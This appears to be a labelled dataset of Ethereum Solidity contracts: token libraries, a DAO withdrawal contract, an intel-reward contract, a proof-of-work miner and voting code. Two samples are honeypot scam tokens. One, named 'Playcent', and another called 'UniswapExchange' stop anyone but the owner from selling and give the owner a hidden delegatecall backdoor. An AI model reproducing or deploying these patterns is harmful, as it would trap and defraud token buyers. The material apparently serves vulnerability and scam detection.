uint swapStartedBlock = now;
uint public gasPriceLimit = 999;
modifier checkGasPrice(uint txnGasPrice) {
require(txnGasPrice <= gasPriceLimit * 1000000000, "Gas above gwei limit!");
_;
}
event GasPriceSet(uint8 _gasPrice);
function setGasPriceLimit(uint8 _gasPrice) onlyOwner public {
require(_gasPrice > 0);
gasPriceLimit = _gasPrice;
emit GasPriceSet(_gasPrice);
}
function setTokenContract() internal {
tokenInterface = ICaelumToken(_contract_token());
}
function setMasternodeContract() internal {
masternodeInterface = ICaelumMasternode(_contract_masternode());
}
function setModifierContract (address _contract) onlyOwner public {
require (now <= swapStartedBlock + 10 days);
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function VoteModifierContract (address _contract) onlyVotingContract external {
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function mint(uint256 nonce, bytes32 challenge_digest) checkGasPrice(tx.gasprice) public returns(bool success) {
require(ACTIVE_STATE);
_hash(nonce, challenge_digest);
masternodeInterface._externalArrangeFlow();
uint rewardAmount = _reward();
uint rewardMasternode = _reward_masternode();
tokensMinted += rewardAmount.add(rewardMasternode);
uint epochCounter = _newEpoch(nonce);
_adjustDifficulty();
statistics = Statistics(msg.sender, rewardAmount, block.number, now);
emit Mint(msg.sender, rewardAmount, epochCounter, challengeNumber);
return true;
}
function _reward() internal returns(uint) {
uint _pow = masternodeInterface.rewardsProofOfWork();
tokenInterface.rewardExternal(msg.sender, 1 * 1e8);
return _pow;
}
function _reward_masternode() internal returns(uint) {
uint _mnReward = masternodeInterface.rewardsMasternode();
if (masternodeInterface.masternodeIDcounter() == 0) return 0;
address _mnCandidate = masternodeInterface.getUserFromID(masternodeInterface.masternodeCandidate());
if (_mnCandidate == 0x0) return 0;
tokenInterface.rewardExternal(_mnCandidate, _mnReward);
emit RewardMasternode(_mnCandidate, _mnReward);
return _mnReward;
}
function getMiningRewardForPool() public view returns(uint) {
return masternodeInterface.rewardsProofOfWork();
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function contractProgress() public view returns
(
uint epoch,
uint candidate,
uint round,
uint miningepoch,
uint globalreward,
uint powreward,
uint masternodereward,
uint usercounter
) {
return ICaelumMasternode(_contract_masternode()).contractProgress();
}
function getDataFromContract(address _previous_contract) onlyOwner public {
require(ACTIVE_STATE == false);
require(_contract_token() != 0);
require(_contract_masternode() != 0);
CaelumAbstractMiner prev = CaelumAbstractMiner(_previous_contract);
difficulty = prev.difficulty();
rewardEra = prev.rewardEra();
MINING_RATE_FACTOR = prev.MINING_RATE_FACTOR();
maxSupplyForEra = prev.maxSupplyForEra();
tokensMinted = prev.tokensMinted();
epochCount = prev.epochCount();
ACTIVE_STATE = true;
}
function balanceOf(address _owner) public view returns(uint256) {
return tokenInterface.balanceOf(_owner);
}
} | 1 | 4,273 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Intel{
using SafeMath for uint256;
struct IntelState {
address intelProvider;
uint depositAmount;
uint desiredReward;
uint balance;
uint intelID;
uint rewardAfter;
bool rewarded;
address[] contributionsList;
mapping(address => uint) contributions;
}
mapping(uint => IntelState) intelDB;
mapping(address => IntelState[]) public IntelsByProvider;
uint[] intelIndexes;
uint public intelCount;
address public owner;
ERC20 public token;
address public ParetoAddress;
constructor(address _owner, address _token) public {
owner = _owner;
token = ERC20(_token);
ParetoAddress = _token;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
event Reward( address sender, uint intelIndex, uint rewardAmount);
event NewIntel(address intelProvider, uint depositAmount, uint desiredReward, uint intelID, uint ttl);
event RewardDistributed(uint intelIndex, uint provider_amount, address provider, address distributor, uint distributor_amount);
event LogProxy(address destination, address account, uint amount, uint gasLimit);
function create(address intelProvider, uint depositAmount, uint desiredReward, uint intelID, uint ttl) public {
require(address(intelProvider) != address(0x0));
require(depositAmount > 0);
require(desiredReward > 0);
require(ttl > now);
token.transferFrom(intelProvider, address(this), depositAmount);
address[] memory contributionsList;
IntelState memory newIntel = IntelState(intelProvider, depositAmount, desiredReward, depositAmount, intelID, ttl, false, contributionsList);
intelDB[intelID] = newIntel;
IntelsByProvider[intelProvider].push(newIntel);
intelIndexes.push(intelID);
intelCount++;
emit NewIntel(intelProvider, depositAmount, desiredReward, intelID, ttl);
}
function sendReward(uint intelIndex, uint rewardAmount) public returns(bool success){
IntelState storage intel = intelDB[intelIndex];
require(intel.intelProvider != address(0x0));
require(msg.sender != intel.intelProvider);
require(intel.rewardAfter > now);
require(!intel.rewarded);
token.transferFrom(msg.sender, address(this), rewardAmount);
intel.balance = intel.balance.add(rewardAmount);
if(intel.contributions[msg.sender] == 0){
intel.contributionsList.push(msg.sender);
}
intel.contributions[msg.sender] = intel.contributions[msg.sender].add(rewardAmount);
emit Reward(msg.sender, intelIndex, rewardAmount);
return true;
}
function distributeReward(uint intelIndex) public returns(bool success){
require(intelIndex > 0);
IntelState storage intel = intelDB[intelIndex];
require(!intel.rewarded);
require(now >= intel.rewardAfter);
intel.rewarded = true;
uint distributed_amount = 0;
if (intel.balance > intel.desiredReward){
distributed_amount = intel.desiredReward;
} else {
distributed_amount = intel.balance;
}
uint fee = distributed_amount.div(10);
distributed_amount = distributed_amount.sub(fee);
token.transfer(intel.intelProvider, distributed_amount);
token.transfer(msg.sender, fee);
emit RewardDistributed(intelIndex, distributed_amount, intel.intelProvider, msg.sender, fee);
return true;
}
function setParetoToken(address _token) public onlyOwner{
token = ERC20(_token);
ParetoAddress = _token;
}
function proxy(address destination, address account, uint amount, uint gasLimit) public onlyOwner{
require(destination != ParetoAddress);
bytes4 sig = bytes4(keccak256("transfer(address,uint256)"));
assembly {
let x := mload(0x40)
mstore(x,sig)
mstore(add(x,0x04),account)
mstore(add(x,0x24),amount)
let success := call(
gasLimit,
destination,
0,
x,
0x44,
x,
0x0)
jumpi(0x02,iszero(success))
}
emit LogProxy(destination, account, amount, gasLimit);
}
function() external{
revert();
}
function getIntel(uint intelIndex) public view returns(address intelProvider, uint depositAmount, uint desiredReward, uint balance, uint intelID, uint rewardAfter, bool rewarded) {
IntelState storage intel = intelDB[intelIndex];
intelProvider = intel.intelProvider;
depositAmount = intel.depositAmount;
desiredReward = intel.desiredReward;
balance = intel.balance;
rewardAfter = intel.rewardAfter;
intelID = intel.intelID;
rewarded = intel.rewarded;
}
function getAllIntel() public view returns (uint[] intelID, address[] intelProvider, uint[] depositAmount, uint[] desiredReward, uint[] balance, uint[] rewardAfter, bool[] rewarded){
uint length = intelIndexes.length;
intelID = new uint[](length);
intelProvider = new address[](length);
depositAmount = new uint[](length);
desiredReward = new uint[](length);
balance = new uint[](length);
rewardAfter = new uint[](length);
rewarded = new bool[](length);
for(uint i = 0; i < intelIndexes.length; i++){
intelID[i] = intelDB[intelIndexes[i]].intelID;
intelProvider[i] = intelDB[intelIndexes[i]].intelProvider;
depositAmount[i] = intelDB[intelIndexes[i]].depositAmount;
desiredReward[i] = intelDB[intelIndexes[i]].desiredReward;
balance[i] = intelDB[intelIndexes[i]].balance;
rewardAfter[i] = intelDB[intelIndexes[i]].rewardAfter;
rewarded[i] = intelDB[intelIndexes[i]].rewarded;
}
}
function getIntelsByProvider(address _provider) public view returns (uint[] intelID, address[] intelProvider, uint[] depositAmount, uint[] desiredReward, uint[] balance, uint[] rewardAfter, bool[] rewarded){
uint length = IntelsByProvider[_provider].length;
intelID = new uint[](length);
intelProvider = new address[](length);
depositAmount = new uint[](length);
desiredReward = new uint[](length);
balance = new uint[](length);
rewardAfter = new uint[](length);
rewarded = new bool[](length);
IntelState[] memory intels = IntelsByProvider[_provider];
for(uint i = 0; i < length; i++){
intelID[i] = intels[i].intelID;
intelProvider[i] = intels[i].intelProvider;
depositAmount[i] = intels[i].depositAmount;
desiredReward[i] = intels[i].desiredReward;
balance[i] = intels[i].balance;
rewardAfter[i] = intels[i].rewardAfter;
rewarded[i] = intels[i].rewarded;
}
}
function contributionsByIntel(uint intelIndex) public view returns(address[] addresses, uint[] amounts){
IntelState storage intel = intelDB[intelIndex];
uint length = intel.contributionsList.length;
addresses = new address[](length);
amounts = new uint[](length);
for(uint i = 0; i < length; i++){
addresses[i] = intel.contributionsList[i];
amounts[i] = intel.contributions[intel.contributionsList[i]];
}
}
} | 1 | 2,970 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xa2f1ccba9395d7fcb155bba8bc92db9bafaeade7);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 1,200 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract AdminUpgradeabilityProxy {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 60000000000000000000000000;
string public name = "Playcent";
string public symbol = "PCNT";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
modifier checkLimits(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 621 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 566 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
